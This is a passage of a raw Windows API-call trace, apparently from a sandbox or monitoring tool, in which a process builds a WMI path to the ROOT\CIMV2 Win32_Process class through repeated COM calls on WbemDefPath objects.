Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119bf60) returned 0x0 [0090.070] WbemDefPath:IUnknown:Release (This=0x1c001100) returned 0x0 [0090.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119bf60) returned 0x0 [0090.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0090.071] WbemDefPath:IUnknown:AddRef (This=0x119bf60) returned 0x3 [0090.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0090.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0090.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1becefe0) returned 0x0 [0090.071] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becefe0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.071] WbemDefPath:IUnknown:Release (This=0x1becefe0) returned 0x3 [0090.071] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0090.072] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0090.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0090.072] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x2 [0090.072] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x1 [0090.072] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0090.072] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0090.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bf60, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119bf60) returned 0x0 [0090.072] WbemDefPath:IUnknown:AddRef (This=0x119bf60) returned 0x3 [0090.072] WbemDefPath:IUnknown:Release (This=0x119bf60) returned 0x2 [0090.072] WbemDefPath:IWbemPath:SetText (This=0x119bf60, uMode=0x4, pszPath="") returned 0x0 [0090.072] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bf60, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0090.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c0e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0090.073] WbemDefPath:IWbemPath:GetClassName (in: This=0x119bf60, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0090.073] WbemDefPath:IWbemPath:GetServer (in: This=0x119bf60, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0090.073] WbemDefPath:IWbemPath:SetServer (This=0x119bf60, Name="Q9IATRKPRH") returned 0x0 [0090.073] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0090.073] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0090.073] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0090.073] IUnknown:Release (This=0x111f638) returned 0x1 [0090.077] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1becf040) returned 0x0 [0090.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becf040, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0090.077] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becf040, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119b1e0) returned 0x0 [0090.077] WbemDefPath:IUnknown:Release (This=0x1becf040) returned 0x0 [0090.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119b1e0) returned 0x0 [0090.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0090.078] WbemDefPath:IUnknown:AddRef (This=0x119b1e0) returned 0x3 [0090.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0090.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0090.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1becf1c0) returned 0x0 [0090.078] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becf1c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.078] WbemDefPath:IUnknown:Release (This=0x1becf1c0) returned 0x3 [0090.078] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0090.079] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0090.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0090.079] WbemDefPath:IUnknown:Release (This=0x119b1e0) returned 0x2 [0090.079] WbemDefPath:IUnknown:Release (This=0x119b1e0) returned 0x1 [0090.079] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0090.079] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0090.079] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b1e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119b1e0) returned 0x0 [0090.079] WbemDefPath:IUnknown:AddRef (This=0x119b1e0) returned 0x3 [0090.079] WbemDefPath:IUnknown:Release (This=0x119b1e0) returned 0x2 [0090.080] WbemDefPath:IWbemPath:SetText (This=0x119b1e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0090.080] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bf60, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0090.080] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b1e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0090.080] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0090.080] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0090.080] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119bf60) returned 0x0 [0090.080] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b1e0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0090.080] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b1e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0090.080] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b1e0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0090.080] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119bf60, uIndex=0x0, pszName="ROOT") returned 0x0 [0090.080] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b1e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0090.080] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119b1e0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0090.080] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119bf60, uIndex=0x1, pszName="CIMV2") returned 0x0 [0090.080] WbemDefPath:IWbemPath:GetClassName (in: This=0x119bf60, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0090.081] WbemDefPath:IWbemPath:SetClassName (This=0x119bf60, Name="Win32_Process") returned 0x0 [0090.081] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bf60, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0090.081] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bf60, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0090.081] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0090.081] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0090.081] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bf60, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0090.081] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bf60, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0090.081] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0090.082] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0090.082] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b5a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0090.082] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0090.082] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0090.082] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0090.082] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0090.082] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0090.089] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0090.089] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0090.089] IUnknown:Release (This=0x111f638) returned 0x1 [0090.092] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1beced80) returned 0x0 [0090.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beced80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0090.093] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beced80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x119bea0) returned 0x0 [0090.093] WbemDefPath:IUnknown:Release (This=0x1beced80) returned 0x0 [0090.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x119bea0) returned 0x0 [0090.093] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0090.094] WbemDefPath:IUnknown:AddRef (This=0x119bea0) returned 0x3 [0090.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0090.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0090.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1becedc0) returned 0x0 [0090.094] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1becedc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0090.094] WbemDefPath:IUnknown:Release (This=0x1becedc0) returned 0x3 [0090.094] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0090.094] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0090.094] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0090.095] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x2 [0090.095] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x1 [0090.095] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0090.095] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0090.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x119bea0) returned 0x0 [0090.095] WbemDefPath:IUnknown:AddRef (This=0x119bea0) returned 0x3 [0090.095] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x2 [0090.095] WbemDefPath:IWbemPath:SetText (This=0x119bea0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0090.095] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b5a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0090.095] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0090.095] WbemDefPath:IWbemPath:GetText (in: This=0x119b5a0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0090.096] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0090.096] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0090.096] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0090.096] IUnknown:Release (This=0x111f638) returned 0x1 [0090.099] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1beceb80) returned 0x0 [0090.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beceb80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0090.100] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beceb80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119bd20) returned 0x0 [0090.100] WbemDefPath:IUnknown:Release (This=0x1beceb80) returned 0x0 [0090.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119bd20) returned 0x0 [0090.100] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0090.101] WbemDefPath:IUnknown:AddRef (This=0x119bd20) returned 0x3 [0090.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0090.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, 